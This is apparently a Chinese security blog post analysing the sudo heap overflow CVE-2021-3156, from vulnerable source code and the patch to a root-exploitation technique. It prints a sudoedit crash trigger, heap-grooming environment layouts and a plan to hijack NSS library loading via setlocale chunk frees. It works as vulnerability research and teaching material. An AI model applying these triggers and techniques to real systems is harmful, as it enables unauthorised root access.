Home/CVE-2021-3156: Sudo堆溢出提权漏洞分析

Created Thu, 23 Jun 2022 18:12:48 +0800 Modified Fri, 23 Sep 2022 03:37:55 +0800
11641 Words

漏洞描述: Baron Samedit [sudo in linux]

0x00 漏洞摘要

  • 漏洞影响程序 & 版本范围
    • sudo 1.8.2 - 1.8.31p2
    • sudo 1.9.0 - 1.9.5p1(1.9.5p2安全)
  • 可成功验证系统:
    • Ubuntu 20.04(Sudo 1.8.31)
    • Debian 10(Sudo 1.8.27)
    • Fedora 33(Sudo 1.9.2)
  • 漏洞类型
    • Linux环境下的堆溢出漏洞(off by one, rce)
  • 漏洞影响
    • 【提权】非root权限的用户在shell中使用默认的sudo配置,无需任何验证信息(包括该用户密码),可获得root权限
  • 漏洞成因(原理程度+具体代码程度)
    • sudo通过 -s-i参数在 shell -c模式下运行命令时会使用反斜杠\转义特殊字符。但使用-s/-i参数运行sudoedit时,实际上并未进行转义。若传入的参数以反斜杠\结尾,则在插件sudoerset_cmnd函数中向user_args拷贝参数时,会发生越界拷贝,导致堆溢出
  • 漏洞利用关键环节
    • 利用新型tcache的特性(tcache bins)
    • 巧妙利用linux系统设置locale,通过传递LC_环境变量进行chunk构造
    • 利用nss库中的nss_load_library函数来加载伪造库,执行伪造库中的_init函数实现getshell

0x01 背景知识

程序介绍

  • sudo:linux下,使得非root权限用户可以以 root 用户的身份运行某一命令(该用户要添加到/etc/sudoers文件中,切换时输入该用户的密码)
    • 类似的su则是切换到另一个用户(需要输入待切换用户的密码)

glibc新功能:tcache

  • 是glibc2.26+后引进的技术,目的是提升堆管理性能,舍弃了一些安全性

  • tcache功能

    • tcache是Per-thread Cache,每个线程拥有一个
    • tcache遵循跟fast bins相似的LIFO机制
    • tcache针对每个线程创建tcache bins,最多64个,每个bin存放最多7个chunk,最大大小为0x410
    • 优先顺序tcache bins > fast bins(free时先存到tcache,malloc时先从tcache中获取),缓存非large chunk的chunk
  • tcache结构

    • 开启tcache时的define,设置了tcache bins的基础信息

      #if USE_TCACHE
      /* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
      # define TCACHE_MAX_BINS        64
      # define MAX_TCACHE_SIZE    tidx2usize (TCACHE_MAX_BINS-1)
      
      /* Only used to pre-fill the tunables.  */
      # define tidx2usize(idx)    (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
      
      /* When "x" is from chunksize().  */
      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
      /* When "x" is a user-provided size.  */
      # define usize2tidx(x) csize2tidx (request2size (x))
      
      /* With rounding and alignment, the bins are...
         idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
         idx 1   bytes 25..40 or 13..20
         idx 2   bytes 41..56 or 21..28
         etc.  */
      
      /* This is another arbitrary limit, which tunables can change.  Each
         tcache bin will hold at most this number of chunks.  */
      # define TCACHE_FILL_COUNT 7
      #endif
      
    • tcache_entry

      typedef struct tcache_entry
      {
        struct tcache_entry *next; // 指向下一个chunk的fd字段
                                // fast bin指向的是prev_size
      } tcache_entry;
      
    • tcache_prethread_struct,链表管理结构

      typedef struct tcache_perthread_struct
      {
        char counts[TCACHE_MAX_BINS];
        tcache_entry *entries[TCACHE_MAX_BINS];
      } tcache_perthread_struct;
      
      static __thread tcache_perthread_struct *tcache = NULL;
      

      对每个线程创建的结构

      • counts数组记录当前tcache bins个数
      • entries数组中每个指针指向其对应的tcache bin的chunk块,单链表

  • tcache规则

    • 从fastbin中取出一块后,剩余部分放入tcache中(small bin也是)
    • 遍历unsorted bin后,若tcache bin中有匹配大小的chunk则首先取出
    • unsorted达到limit限制时(默认无限制),已经存入过chunk的取出
  • nsslocale:linux下配置

    Libc Realpath Buffer Underflow (halfdog.net)

    • locale配置介绍

      • locale是linux下根据用户的语言和地理位置定义的软件运行时的语言环境,通过环境变量进行设置

        pwndbg> p _nl_category_names
        $1 = {
          str41 = "LC_COLLATE",
          str67 = "LC_CTYPE",
          str140 = "LC_MONETARY",
          str193 = "LC_NUMERIC",
          str207 = "LC_TIME",
          str259 = "LC_MESSAGES",
          str270 = "LC_PAPER",
          str279 = "LC_NAME",
          str292 = "LC_ADDRESS",
          str311 = "LC_TELEPHONE",
          str322 = "LC_MEASUREMENT",
          str330 = "LC_IDENTIFICATION"
        }
        

        • LANG开头的是进行语言&编码设置,zh_CN.UTF-8
        • LC_ALL可通过setlocale进行设置,其值可以覆盖所有其他的locale设定,空白则设置为C
        • LC_XXX详细设定locale的各个方面,可以覆盖LANG的值
        • LC_ALL/LANG被设置为C的时候,LANGUAGE的值将会被忽略
        • 在程序动态调试中可通过_nl_category_names查看
      • languageISO 639-1标准中定义的双字母的语言代码,territoryISO 3166-1标准中定义的双字母的国家和地区代码,codeset是字符集的名称 (如 UTF-8等),而 modifier 则是某些locale变体的修正符

        language[_territory[.codeset]][@modifier]
        
    • nss解析介绍

      • nss介绍

        全称为Name Service Switch,是解析name类型字符串的c语言库

        • ls -alg: 系统中只保存了用户和用户组的id,要想显示与之相关的字符这就需要nss进行解析

        • 通过/etc/nsswitch.conf进行配置

          左边是支持的服务service,右边是定义的查找范围

          • 对于每个service都必须有文件libnss_service.so.2与之对应
          • 例如group数据库定义了查找规范files,那么在调用getgroup函数的时候就会调用libnss_files.so.2中的__nss_lookup_function函数进行查找
          # /etc/nsswitch.conf
          #
          # Example configuration of GNU Name Service Switch functionality.
          # If you have the `glibc-doc-reference' and `info' packages installed, try:
          # `info libc "Name Service Switch"' for information about this file.
          
          passwd:         files systemd
          group:          files systemd
          shadow:         files
          gshadow:        files
          
          hosts:          files dns
          networks:       files
          
          protocols:      db files
          services:       db files
          ethers:         db files
          rpc:            db files
          
          netgroup:       nis
          
          libnss_compat-2.31.so
          libnss_compat.so
          libnss_compat.so.2
          libnss_dns-2.31.so
          libnss_dns.so
          libnss_dns.so.2
          libnss_files-2.31.so
          libnss_files.so
          libnss_files.so.2
          libnss_hesiod-2.31.so
          libnss_hesiod.so
          libnss_hesiod.so.2
          libnss_nis-2.31.so
          libnss_nis.so
          libnss_nis.so.2
          libnss_nisplus-2.31.so
          libnss_nisplus.so
          libnss_nisplus.so.2
          libnss_systemd.so.2
          

0x02 复现环境

环境配置

由于本地环境暂时没有满足要求的可用虚拟机,这里采用virtual box的Ubuntu 20.04LTS虚拟机环境进行复现

# 确保开通root用户后,关闭aslr
sudo echo 0 > /proc/sys/kernel/randomize_va_space

编译并安装1.8.31p1版本的sudo

wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
tar -xzvf sudo-1.8.31p1.tar.gz
cd sudo-1.8.31p1
mkdir build
cd build
../configure --enable-env-debug
make -j
sudo make install

# 完成后即可通过gdb动态调试
su test # 切换到非root用户
sudo gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`

查看系统相关信息:

# sudo --version
Sudo version 1.8.31

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:        20.04
Codename:       focal

系统glibc版本为2.31,有新增的tcache功能且默认开启

$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

创建非root用户test用于复现

useradd test
passwd test # 设置密码
su test # 切换用户

所需程序&repo安装

sudo apt install -y make gcc git python3 python3-pip#with libheap & gef
git clone 

0x03 漏洞机理

为了方便分析,获取对应sudo1.8.31的源码进行分析

  • 源码追踪

    首先在目录下根据经验访问src/下找到sudo.hsudo.c,认为应该为入口源码(或者通过接收输入参数的相关关键词搜寻)

    • sudo.h中可以看到各种define了各种标志位的对应值,其中这些MODE_开头的标志位中重点关注

      /*
       * Various modes sudo can be in (based on arguments) in hex
       */
      #define MODE_RUN		0x00000001
      #define MODE_EDIT		0x00000002
      #define MODE_VALIDATE		0x00000004
      #define MODE_INVALIDATE		0x00000008
      #define MODE_KILL		0x00000010
      #define MODE_VERSION		0x00000020
      #define MODE_HELP		0x00000040
      #define MODE_LIST		0x00000080
      #define MODE_CHECK		0x00000100
      #define MODE_MASK		0x0000ffff
      
      /* Mode flags */
      /* XXX - prune this */
      #define MODE_BACKGROUND		0x00010000
      #define MODE_SHELL		0x00020000
      #define MODE_LOGIN_SHELL	0x00040000
      #define MODE_IMPLIED_SHELL	0x00080000
      #define MODE_RESET_HOME		0x00100000
      #define MODE_PRESERVE_GROUPS	0x00200000
      #define MODE_PRESERVE_ENV	0x00400000
      #define MODE_NONINTERACTIVE	0x00800000
      #define MODE_LONG_LIST		0x01000000
      
    • sudo.c中找到main函数,可以看到在初始配置并获取一些配置文件之后,通过parse_args函数parse了命令行参数,赋给sudo_mode并输出信息

      int
      main(int argc, char *argv[], char *envp[])
      {
      /*...*/
      /* Disable core dumps if not enabled in sudo.conf. */
          if (sudo_conf_disable_coredump())
      	disable_coredump();
      
          /* Parse command line arguments. */
          sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
          sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
      
          /* Print sudo version early, in case of plugin init failure. */
          if (ISSET(sudo_mode, MODE_VERSION)) {
      	printf(_("Sudo version %s\n"), PACKAGE_VERSION);
      	if (user_details.uid == ROOT_UID)
      	    (void) printf(_("Configure options: %s\n"), CONFIGURE_ARGS);
          }
      
    • 追踪定义,在parse_args.c中定位到parse_args函数,其中代码检测是否开启MODE_RUNMODE_SHELL(MODE_LOGIN_SHELL)标志位,若满足条件,检测argv中字符,若有字母数字_-$之外的字符,在其前添加转义符号\,重写argv

      /*
       * Command line argument parsing.
       * Sets nargc and nargv which corresponds to the argc/argv we'll use
       * for the command to be run (if we are running one).
       */
      int
      parse_args(int argc, char **argv, int *nargc, char ***nargv,
          struct sudo_settings **settingsp, char ***env_addp)
      {
          int mode = 0;		/* what mode is sudo to be run in? */
          int flags = 0;		/* mode flags */
      
          ...
          通过sudoedit发起时,模式为MODE_EDIT
      		/* First, check to see if we were invoked as "sudoedit". */
          proglen = strlen(progname);
          if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      	progname = "sudoedit";
      	mode = MODE_EDIT;
      	sudo_settings[ARG_SUDOEDIT].value = "true";
          }
      
      -i-s时,开启MODE_SHELL标志位
      ...
      case 'i':
      		    sudo_settings[ARG_LOGIN_SHELL].value = "true";
      		    SET(flags, MODE_LOGIN_SHELL);
      		    break;
      case 's':
      		    sudo_settings[ARG_USER_SHELL].value = "true";
      		    SET(flags, MODE_SHELL);
      ....
      
      if (ISSET(flags, MODE_LOGIN_SHELL)) {
      				SET(flags, MODE_SHELL);
          }
      
          /*
           * For shell mode we need to rewrite argv
           */
           // 若shell模式-c参数下运行,会重写参数
      if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
      	char **av, *cmnd = NULL;
      	int ac = 1;
      
      	if (argc != 0) {
      	    /* shell -c "command" */
      	    char *src, *dst;
      	    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
      		strlen(argv[argc - 1]) + 1;
      
      	    cmnd = dst = reallocarray(NULL, cmnd_size, 2);
      	    if (cmnd == NULL)
      		sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
      	    if (!gc_add(GC_PTR, cmnd))
      		exit(1);
      
      //字符转义!用"\"
      	    for (av = argv; *av != NULL; av++) {
      		for (src = *av; *src != '\0'; src++) {
      		    /* quote potential meta characters */
      		    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
      			*dst++ = '\\';
      		    *dst++ = *src;
      		}
      		*dst++ = ' ';
      	    }
      	    if (cmnd != dst)
      		dst--;  /* replace last space with a NUL */
      	    *dst = '\0';
      
      	    ac += 2; /* -c cmnd */
      	}
      
        // 重新写argv, 保存在av中
      	av = reallocarray(NULL, ac + 1, sizeof(char *));
      	if (av == NULL)
      	    sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
      	if (!gc_add(GC_PTR, av))
      	    exit(1);
      
      	av[0] = (char *)user_details.shell; /* plugin may override shell */
      	if (cmnd != NULL) {
      	    av[1] = "-c";
      	    av[2] = cmnd;
      	}
      	av[ac] = NULL;
      
      	argv = av;
      	argc = ac;
          }
      
    • 回到sudo.c,刚刚将parse_args函数处理对特殊字符转义后的结果反馈给sudo_mode。接下来进行插件加载,调用load_plugins.c中的sudo_load_plugins,默认为加载sudoers插件。

      // in sudo.c
      /* Parse command line arguments. */
          sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
          sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
      /* Load plugins. */
          if (!sudo_load_plugins(&policy_plugin, &io_plugins))
      	sudo_fatalx(U_("fatal error, unable to load plugins"));
      在刚刚的parse_args函数调用之后
      ....
          /* Open policy plugin. */
          ok = policy_open(&policy_plugin, settings, user_info, envp);
          if (ok != 1) {
      	if (ok == -2)
      	    usage(1);
      	else
      	    sudo_fatalx(U_("unable to initialize policy plugin"));
          }
      
    • sudo_load_plugins读取sudo的配置文件加载插件,若没有(即默认情况)只加载sudoers

      
      // load_plugins.c
      bool
      sudo_load_plugins(struct plugin_container *policy_plugin,
          struct plugin_container_list *io_plugins)
      {
      ...check_policy是函数指针
      if (policy_plugin->u.policy->check_policy == NULL) {
      	sudo_warnx(U_("policy plugin %s does not include a check_policy method"),
      	    policy_plugin->name);
      	ret = false;
      	goto done;
      ...}
      
    • 上面的check_policy对应sudoerspolicy.c中调用sudoers_policy_check函数,调用了sudoers.c中的sudoers_policy_main函数

      // plugins/sudoers/policy.c
      static int
      sudoers_policy_check(int argc, char * const argv[], char *env_add[],
          char **command_infop[], char **argv_out[], char **user_env_out[])
      {
      ...
      ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
      ...
      }
      
    • 观察到在sudoers_policy_main中调用了set_cmnd函数

      // plugins/sudoers/sudoers.c
      int
      sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
          bool verbose, void *closure)
      {
      ...
      /* Find command in path and apply per-command Defaults. */
          cmnd_status = set_cmnd();
          if (cmnd_status == NOT_FOUND_ERROR)
      	goto done;
      ...
      }
      
    • 「漏洞点」set_cmnd中根据标志位,设置user_开头的多个变量值。下面的片段将复制的argv(这里称为NewArgv)赋值给user_args

      /*
       * Fill in user_cmnd, user_args, user_base and user_stat variables
       * and apply any command-specific defaults entries.
       */
      static int
      set_cmnd(void)
      {
      ...
      if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
      /* set user_args */
      	if (NewArgc > 1) {
      	    char *to, *from, **av;
      	    size_t size, n;
      
      	    /* Alloc and build up user_args. */
      	    for (size = 0, av = NewArgv + 1; *av; av++)
      		size += strlen(*av) + 1;
      
      // 这里看到user_args申请了和argv中参数相同的大小的堆空间
      // NewArgv是前面sudoers_policy_main函数中处理过的,复制了argv的内容
      //		special handling for pseudo-commands and '-i'
      	    if (size == 0 || (user_args = malloc(size)) == NULL) {
      		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
      		debug_return_int(-1);
      	    }
      	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
      		/*
      		 * When running a command via a shell, the sudo front-end
      		 * escapes potential meta chars.  We unescape non-spaces
      		 * for sudoers matching and logging purposes.
      		 */
      //这里!!!!!依次将命令行参数链接到user_args中
      		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
      		    while (*from) {
      			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
      			    from++;
      			*to++ = *from++;
      		    }
      		    *to++ = ' ';
      		}
      		*--to = '\0';
      	    } else {
      		for (to = user_args, av = NewArgv + 1; *av; av++) {
      		    n = strlcpy(to, *av, size - (to - user_args));
      		    if (n >= size - (to - user_args)) {
      			sudo_warnx(U_("internal error, %s overflow"), __func__);
      			debug_return_int(-1);
      		    }
      		    to += n;
      		    *to++ = ' ';
      		}
      		*--to = '\0';
      	    }
      	}
          }
      }
      
  • 漏洞触发

    • 如何满足漏洞点处的触发条件?

      static int
      set_cmnd(void){
          .....
          //获取所有命令行参数的长度
          for (size = 0, av = NewArgv + 1; *av; av++)
          size += strlen(*av) + 1;
          if (size == 0 || (user_args = malloc(size)) == NULL) {
          sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
          debug_return_int(-1);
          }
          //将命令行参数复制到user_args
          for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
              while (*from) {
              //漏洞点,当以反斜杠结尾时造成heap overflow
              // sud程序默认每个反斜杠之后必然跟着元字符
              // 命令行参数以反斜杠结尾from[0]='\\', from[1]=null,满足条件
              if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                  from++; // 指向null
              *to++ = *from++; //继续加,越过null了,溢出
              // while循环越界拷贝,内容写入user_args堆块
              }
              *to++ = ' ';
          }
          *--to = '\0';
      
    • 但根据代码,理论在设置了MODE_SHELL(MODE_LOGIN_SHELL)的条件下任何命令行参数都不可能以单个\结尾,因为其在parse_args函数中会对所有的元字符进行转义包括这个\

    • 对比set_cmnd函数进行复制 与parse_args函数进行转义 时的标志位if条件,得知不设置MODE_RUN标志位而改为设置MODE_EDITMODE_CHECK标志位可达到目的

      // parse_args
      if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){}
      // set_cmnd
      if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
      	if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){
      }
      }
      
      • 即不设置MODE_RUN的话,parse_args转义条件不满足,但set_cmnd函数中只要MODE_EDITMODE_CHECK标志位被触发,复制的条件依然可以满足,可以成功触发漏洞
    • sudo.cmain函数中再次查看设置标志位的条件,通过-e-l可以设置MODE_EDIT/MODE_CHECK两个标志位,并且设置了MODE_SHELL/MODE_LOGIN_SHELL的话,在后续会被检测到并退出

      • 具体-e-l代码

        case 'e':
                    if (mode && mode != MODE_EDIT)
                    usage_excl(1);
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
                case 'l':
                    if (mode) {
                    if (mode == MODE_LIST)
                        SET(flags, MODE_LONG_LIST);
                    else
                        usage_excl(1);
                    }
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
        
            if (argc > 0 && mode == MODE_LIST)
            mode = MODE_CHECK;
        
      // parse_args.c parse_args函数中
      if ((flags & valid_flags) != flags)
      	usage(1); // 打印usage,退出
      
    • 但也有例外,通过搜寻MODE_EDIT相关交叉引用,发现sudoedit执行时,同样也在parse_args函数中也可以设置mode=MODE_EDIT,同时没有设置valid_flags,遇到上面的代码也不会检测退出,可以执行实现堆溢出

      // parse_args.c
      /* First, check to see if we were invoked as "sudoedit". */
          proglen = strlen(progname);
          if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      	progname = "sudoedit";
      	mode = MODE_EDIT;
      	sudo_settings[ARG_SUDOEDIT].value = "true";
          }
      
    • 因此,通过sudo edit -s 可以成功设置MODE_EDITMODE_SHELL标志位,同时避免了设置MODE_RUN,也不会被检测退出。

      如图,参数仅为\,且发送一个超长AAAAA指令,可以成功崩溃

      $ sudoedit -s '\' `python3 -c 'print("A"*65536)'`
      malloc(): corrupted top size
      Aborted
      
  • 漏洞触发 - 可利用理由

    • 通过sudoedit -s跟着的参数可以控制user_args占用的堆块大小

    • 通过环境变量配置env -i可以填入user_args堆块之后的out-of-bound位置

    • 在环境变量中通过以\结尾,可以跳转到下一个环境变量

    • 漏洞点位置的from[0] = ‘\\’, from[1] = null说明可以跳过单\字符插入0x0并不终止程序

      char *args[] = { "/usr/bin/sudoedit", "-s", "AAAAAAAA", NULL };
      char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL }
      //              这里两个backslash可插入两个null bytes
      execve("/usr/bin/sudoedit", argv, env);
      
  • 漏洞触发 - 输入

    env -i设置的环境变量实际上在sudoedit的参数末尾之后的位置进行存储

    • 由于堆中chunk的头大小为0x10,对齐为0x10
      • env -i 'A=BBBB' sudoedit -s 'CCCCCCCCCCCCCCCC'0x10字节填入user_args,环境变量的0x6字节则填入接下来的位置
      • env -i 'A=BB' sudoedit -s 'CCCCBBBBBBBB’仅输入0x10字节,
    env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
    
    --|--------+--------+--------+--------|--------+--------+--------+--------+--
      |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
    --|--------+--------+--------+--------|--------+--------+--------+--------+--
                  head  <---- user_args buffer ---->  size      fd       bk
    
    • 一个char字符 - 1字节 - 2个16进制字符 - 8个2进制字符
  • 补丁分析

    补丁在以下链接中可以查看到

    sudo: 049ad90590be

    可以看到对刚刚出问题set_cmnd函数的标志位if检查重新写了逻辑。

    • 刚刚通过sudoedit的方式是开启MODE_EDITMODE_SHELLMODE_CHECK,绕过parse_args函数进行参数转义的判断,同时能运行set_cmnd函数进行堆溢出。
    • 而打补丁后的程序对set_cmnd函数进入原堆溢出点的if条件进行修改,增加了对MODE_RUN的判断,该模式只有通过sudo而非sudoedit运行时才满足,因此原方式失效

0x04 漏洞利用

利用所需信息获取

  • 从输入到触发漏洞前后的堆操作轨迹

    main函数在调用parse_args对输入参数进行处理前,进行了什么操作

    // sudo.c的main函数中
    // 漏洞触发前
    setlocale(LC_ALL, ""); 
    bindtextdomain(PACKAGE_NAME, LOCALEDIR);
    textdomain(PACKAGE_NAME);
    //...
    /* Fill in user_info with user name, uid, cwd, etc. */
        if ((user_info = get_user_info(&user_details)) == NULL)
    	exit(EXIT_FAILURE); /* get_user_info printed error message */
    
    /* Disable core dumps if not enabled in sudo.conf. */
        if (sudo_conf_disable_coredump())
    	disable_coredump();
    // 紧接着的就是parse_args函数
        /* Parse command line arguments. */
        sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
        sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
    
    • setlocale函数中进行了哪些堆操作

      mallocfreeLC_CTYPELC_MESSAGESLC_TIME等多个环境变量,申请的chunk大小很小,free后归属于tcache bin

    • get_user_info函数:调用nss服务【💖】

      malloc(0x100)
      malloc(0x400)
      malloc(0x1d8)// tcache
      malloc(0x10)
      malloc(0x78)// 固定0x80 // 释放
      malloc(0x1000) 
      malloc(0x17)// 以下均为固定申请,且不会释放
      malloc(0x36) 
      malloc(0x38)
      malloc(0x16)
      malloc(0x36)// group files
      
  • 查找可控数据结构(仅通过人工分析较复杂,作者是通过类似fuzzing方式获得多个crash,通过回放trace锁定这3个数据结构)

    • sudo_hook_entry

    • def_timestampdir

    • service_user in nss

      开启ASLR,通过前两个变量进行利用需要爆破地址,且目前仅在一个系统环境下复现成功。这个三种环境都支持且不需要爆破

基于上述3个可控数据结构,原作者提出了3种exp方案。具体讨论第3种

可控数据结构:service_user变量分析

  • **目的:**探索service_user可通过什么方式getshell

  • libcnss过程里对service_user变量的操作分析

    https://elixir.bootlin.com/glibc/glibc-2.31/source/nss/nsswitch.c#L401

    • service_user结构

      typedef struct service_user
      {
        /* And the link to the next entry.  */
        struct service_user *next;
        /* Action according to result.  */
        lookup_actions actions[5];
        /* Link to the underlying library object.  */
        service_library *library;
        /* Collection of known functions.  */
        void *known;
        /* Name of the service (`files', `dns', `nis', ...).  */
        char name[0];
      } service_user;
      
    • glibc-2.31/nss/nsswitch.c中运行__nss_lookup_function函数→nss_load_library函数

      static int
      nss_load_library (service_user *ni)
      {
        if (ni->library == NULL)
          { // 这里!!!
            static name_database default_table;
            ni->library = nss_new_service (service_table ?: &default_table,
      				     ni->name);
            if (ni->library == NULL)
      	return -1;
          }
      
        if (ni->library->lib_handle == NULL)
          {
            /* Load the shared library.  */
            size_t shlen = (7 + strlen (ni->name) + 3
      		      + strlen (__nss_shlib_revision) + 1);
            int saved_errno = errno;
            char shlib_name[shlen];
      
            /* Construct shared object name.  */
            __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
      					      "libnss_"),
      				    ni->name),
      			  ".so"), // 字符串拼接
      		__nss_shlib_revision);
      
            ni->library->lib_handle = __libc_dlopen (shlib_name);
            //加载动态链接库
      

      ni->library = NULL,则会调用nss_new_service函数为其分配一个堆块,并对该service_username,lib_handle,next进行赋值

      完成后进入if (ni->library->lib_handle == NULL)分支,对name进行字符串拼接,也就是libnss_+name+'.so.2’,之后才通过__libc_dlopen函数加载该动态链接库

    1. 可能的getshell思路

      ni->library->lib_handle = __libc_dlopen(shlib_name) 加载自定义的.so.2库:

      • 通过溢出更改libnss_xxx.so.2xxxname部分为x/x,可变成libnss_x/x.so.2,其他部分为00000
      • getshell的代码写入_init之后编译为动态链接库,即可获得shell
  • sudo程序通过get_user_info函数调用nss服务的分析

    • sudo.c:191会调用get_user_info函数获取用户信息,需要通过nss服务获取用户的用户名和口令信息(passwd对应的服务规范,在函数中会调用根据配置文件初始化group files等服务规范)

      https://p3.ssl.qhimg.com/t017c2687cdf250009f.png

      • 动态分析,配置文件中所有的服务规范全部处理完毕之后,生成链表依次存储每个服务,表头存储在libc中。通过搜索固定的passwd等服务,可以通过链表结构追溯到我们想要替换的nss service_user

        pwndbg> p &service_table
        $52 = (name_database **) 0x7ffff7f457a8 <service_table>
        pwndbg> p *service_table
        $53 = {
          entry = 0x5555555829d0,
          library = 0x0
        }
        pwndbg> p *service_table->entry
        $54 = {
          next = 0x555555582a70,
          service = 0x5555555829f0,
          name = 0x5555555829e0 "passwd"
        }
        pwndbg> p *service_table->entry->next
        $55 = {
          next = 0x5555555885b0,
          service = 0x555555588530,
          name = 0x555555582a80 "group"
        }
        pwndbg> p *service_table->entry->next->service
        $56 = {
          next = 0x555555588570,
          actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
          library = 0x0,
          known = 0x0,
          name = 0x555555588560 "files"
        }
        

可操作free原语:setlocale配置

  • 刚刚分析最终getshell需要的service name数据结构与user_args结构通过什么方式布局相邻?

    • 为了防止溢出过程中覆写中间的关键结构体,user_argsservice_user之间的距离要尽可能的小,最好的方法就是在service_user上方人为释放一个堆块,之后user_args再申请该堆块进行溢出
  • sudomain函数的起始位置sudo.c:154调用了setlocale(LC_ALL, "");函数

    • 其中locale=""表示根据环境变量来设置locale
    • 该过程中申请和释放大量的堆块。
  • setlocale(LC_ALL, "")函数源码分析

    mallocfreeLC_CTYPELC_MESSAGESLC_TIME等多个环境变量,申请的chunk大小很小,free后归属于tcache bin

    //setlocale(LC_ALL, "");
    //glibc/locale/setlocale.c
    char *
    setlocale (int category, const char *locale)
    {
    ...
    if (category == LC_ALL)
      {
       //...
    
        /* Load the new data for each category.  */
        while (category-- > 0)
          if (category != LC_ALL)
          {
            // 循环查找环境变量中的LC*环境变量的值,并根据优先级顺序进行加载,环境变量的值会存储在newnames中
            newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                                                 category,
                                                 &newnames[category]);
    
            //...
          }
        /* Create new composite name.  */
        composite = (category >= 0
                     ? NULL : new_composite_name (LC_ALL, newnames));
        if (composite != NULL)
        {
          //setname&setdata,即为_nl_global_locale.__names数组赋值,该数组中存储有所有的环境变量的值
          // 如果数组中原来存储有值,且不是默认的"C",那么会释放原有的堆块
        }
        else
          for (++category; category < __LC_LAST; ++category)
            if (category != LC_ALL && newnames[category] != _nl_C_name
                && newnames[category] != _nl_global_locale.__names[category])
              free ((char *) newnames[category]);// 释放所有的newnames即环境变量的值
        //...
    
        return composite;
      }
      else
      {
        //...
      }
    }
    libc_hidden_def (setlocale)
    
    
    
  • setlocale函数逻辑总结

    setlocale函数通过_nl_find_locale函数加载环境变量

    • 若传入的参数是NULL

      • 返回_nl_global_locale.__names数组中对应的值即相应的LC_*的值
    • 如果传入的参数是“”

      • 那么就会根据环境变量设置_nl_global_locale.__names中的值
    • 函数最主要的是进入了一个while循环:

      • 每次调用_nl_find_locale函数首先从环境变量中按照优先级顺序加载相应的环境变量

      • 然后根据环境变量从/usr/lib/locale中查找有没有对应的文件。这里会根据mask的值控制加载的优先级,加载文件

        // 格式:language[_territory[.codeset]][@modifier]
        //        C.UTF-8@aaaa
        mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
                                   &codeset, &normalized_codeset);
        
        • 如果没有对应的文件就会返回NULL
    • _nl_find_locale函数返回值

      • NULL的时候
        • while循环就会终止,此时category>0,那么这里就表明加载环境变量出现了错误,会释放之前申请的所有的newnames,也就是环境变量中的值比如C.UTF-8[@aaaa](https://github.com/aaaa)
      • 否则当while循环执行完毕之后就会将所有的_nl_global_locale.__names数组中对应的值设置为我们输入的值,然后将LC_ALL赋值

      https://p3.ssl.qhimg.com/t01bd575542cfec75ef.png

  • free原语获取

    • 目标:设置nsize大小的堆块
      • 就设置n个环境变量(注意顺序,环境变量从后向前开始加载)
      • 环境变量的值为C.UTF-8[@len](https://github.com/len),其中len的大小满足> size-0x20 & < size-0x10
    • 注意一个问题:
      • 路径拼接,导致在进行环境变量加载的过程中
        • 大小为size的堆块,释放一个size+0x10大小的堆块
        • 相同size大小的会复用同一个堆块
        • 因此,tcache中不同size大小的堆块只会额外产生1size+0x10大小的堆块
